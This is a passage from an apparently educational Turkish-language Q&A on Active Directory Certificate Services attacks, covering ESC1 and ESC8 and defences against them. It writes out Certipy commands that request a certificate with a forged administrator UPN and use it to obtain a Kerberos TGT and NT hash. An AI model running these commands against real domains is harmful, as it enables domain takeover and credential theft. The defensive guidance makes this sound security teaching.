Zafiyetli şablonları listelemek için certipy find -vulnerable, ardından sahte bir UPN/SAN ile sertifika talep etmek için certipy req -ca <CA> -template <tmpl> -upn [email protected] çalıştırılır. Son olarak certipy auth -pfx administrator.pfx, sertifikayı kullanarak Kerberos TGT'sini ve hesabın NT hash'ini elde eder.

ESC1 ile ESC8 arasındaki fark nedir?

ESC1, konuyu (subject) belirlemenize izin veren bir sertifika şablonunu suistimal eder. ESC8 ise CA'nın web enrollment (certsrv) HTTP uç noktasına yapılan bir NTLM relay saldırısıdır — genellikle PetitPotam gibi bir zorlama (coercion) tekniğiyle bir Domain Controller'ın kimlik doğrulaması sağlanır ve bu relay edilerek DC makine hesabı için sertifika alınır.

ADCS sertifika saldırılarına karşı nasıl savunma yapılır?

Gerekli olmadığı yerlerde ENROLLEE_SUPPLIES_SUBJECT flag'ini kaldırın, hassas şablonlar için CA yöneticisi onayı zorunlu kılın, enrollment izinlerini sıkılaştırın, Extended Protection for Authentication (EPA) etkinleştirin ve CA web enrollment uç noktalarında NTLM/HTTP'yi devre dışı bırakın, ayrıca şablonları Certipy veya PSPKIAudit gibi araçlarla düzenli denetleyin.